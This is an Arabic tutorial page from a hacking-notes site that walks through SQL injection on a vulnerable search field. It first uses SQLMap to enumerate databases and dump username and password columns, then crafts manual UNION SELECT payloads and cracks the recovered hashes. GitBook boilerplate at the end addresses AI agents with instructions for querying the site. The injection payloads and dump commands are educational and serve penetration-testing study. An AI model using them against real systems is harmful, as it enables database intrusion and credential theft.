> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/hacking-tools/web/sqlmap/sql-injection-sqlmap-and-manual-testing.md).
# حقن SQL باستخدام SQLMap والاختبار اليدوي
{% hint style="info" %}
أحد **حقن SQL** هي ثغرة أمنية في تطبيقات الويب تحدث عندما يتم إدراج استعلامات SQL خبيثة في حقول الإدخال للتلاعب بقاعدة بيانات أساسية. وهذا يسمح للمهاجم بالوصول إلى بيانات غير مصرح بها أو تعديلها أو تصفيتها. تقوم أدوات مثل SQLMap بأتمتة هذه العملية من خلال تحديد هذه الثغرات واستغلالها، وإجراء حقن SQL بطريقة آلية. وبدلاً من ذلك، يمكن للمهاجمين أيضًا تنفيذ هجمات حقن SQL يدويًا عن طريق التلاعب المباشر بالمدخلات للحصول على وصول غير مصرح به إلى قاعدة البيانات.
{% endhint %}
## الحقن الآلي لـ SQL (SQLMap)
1. لنلتقط طلب بحث باستخدام Burp Suite:
2. لنحفظ هذا الطلب في ملف سنسميه **request.req**:
3. يحتوي الملف على ما يلي **المحتويات**:
4. باستخدام **SQLMap** الأداة، لنشغّل الأمر التالي لمعرفة ما إذا كان هذا الموقع **المعطوب** تعرض لـ **هجوم SQL**:
```bash
sqlmap -r request.req -p searchitem --batch
```
5. بهذا الأمر، لنقم بسرد جميع **قواعد البيانات**:
```bash
sqlmap -r request.req -p searchitem --batch --dbs
```
6. بهذا الأمر، لنقم بسرد جميع **الجداول** لقاعدة بيانات محددة:
```bash
sqlmap -r request.req -p searchitem --batch -D "database_name" --tables
```
7. بهذا الأمر، لنقم بسرد جميع **الأعمدة** لجدول محدد:
```bash
sqlmap -r request.req -p searchitem --batch -T "table_name" --columns
```
8. بهذا الأمر، لنعرض **المحتويات** محتويات الأعمدة:
```bash
sqlmap -r request.req -p searchitem --batch -T users -C username,password --dump
```
*إذا عثرت الأداة على كلمات مرور مشفّرة، فإنها تفك تشفيرها تلقائيًا*:
***
## الحقن اليدوي لـ SQL
1. لنلتقط طلب بحث باستخدام Burp Suite:
2. أرسل هذا الطلب إلى **Repeater**:
3. في **searchitem** حقل البحث، أضف هذا:
```bash
test' order by 100-- -
```
4. يخبرنا خادم الويب بأن هناك **ليس هناك عدد كبير من الأعمدة**:
5. لنحاول **حتى لا يتبقى شيء** (في هذه الحالة، يوجد 5 أعمدة):
6. نعلم الآن أن هناك **5 أعمدة**، والآن باستخدام **union** سوف **نعرض** إياها:
```arduino
test' union select 1,2,3,4,5-- -
```
* في حالة **تغيير اسم** العمود الثالث، على سبيل المثال "test"، فإنه **سيتغير أيضًا**:
7. هذا يعني أنه إذا أدخلنا **database()** أو **user()** الدالة، فسيتم عرض **اسم قاعدة البيانات** أو **اسم المستخدم الذي يشغّل قاعدة البيانات** على الشاشة:
**فيما يلي الإجراء للقائمة اليدوية:**
1. لنقم بسرد جميع **قواعد البيانات**:
```bash
test' union select 1,2,schema_name,4,5 from information_schema.schemata-- -
```
2. لنقم بسرد جميع **الجداول** لقاعدة بيانات محددة:
```rust
test' union select 1,2,table_name,4,5 from information_schema.tables where table_schema='database_name'-- -
```
3. لنقم بسرد جميع **الأعمدة** لجدول محدد:
```rust
test' union select 1,2,column_name,4,5 from information_schema.columns where table_schema='database_name' and table_name='table_name'-- -
```
4. لنعرض **محتويات عمودي username و password** (في هذه الحالة، نستخدم عمودي "product name" و "product type"):
```arduino
test' union select 1,username,password,4,5 from users-- -
```
* لنقم بسرد **محتويات عمودي username و password** مرة أخرى:
```scss
test' union select 1,2,group_concat(username,0x3a,password),4,5 from users-- -
```
5. **لننسخ المحتوى** إلى قسم Pretty في Burp Suite:
6. لنفتح **Nvim** محرر النصوص ثم الصق النص المنسوخ، ثم استخدم هذا الأمر لتنسيقه بشكل صحيح: `:%s/,//r/g`
7. بهذا الأمر، لنحتفظ فقط بالهاشات وننسخها إلى **الحافظة**: `cat data | awk '{print $2}' FS=":" | xclip -sel clip`
8. أخيرًا، باستخدام [Hashes.com](https://hashes.com/en/decrypt/hash) الموقع، احصل على كلمات المرور بصيغة **نص عادي**:
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/ar/hacking-tools/web/sqlmap/sql-injection-sqlmap-and-manual-testing.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.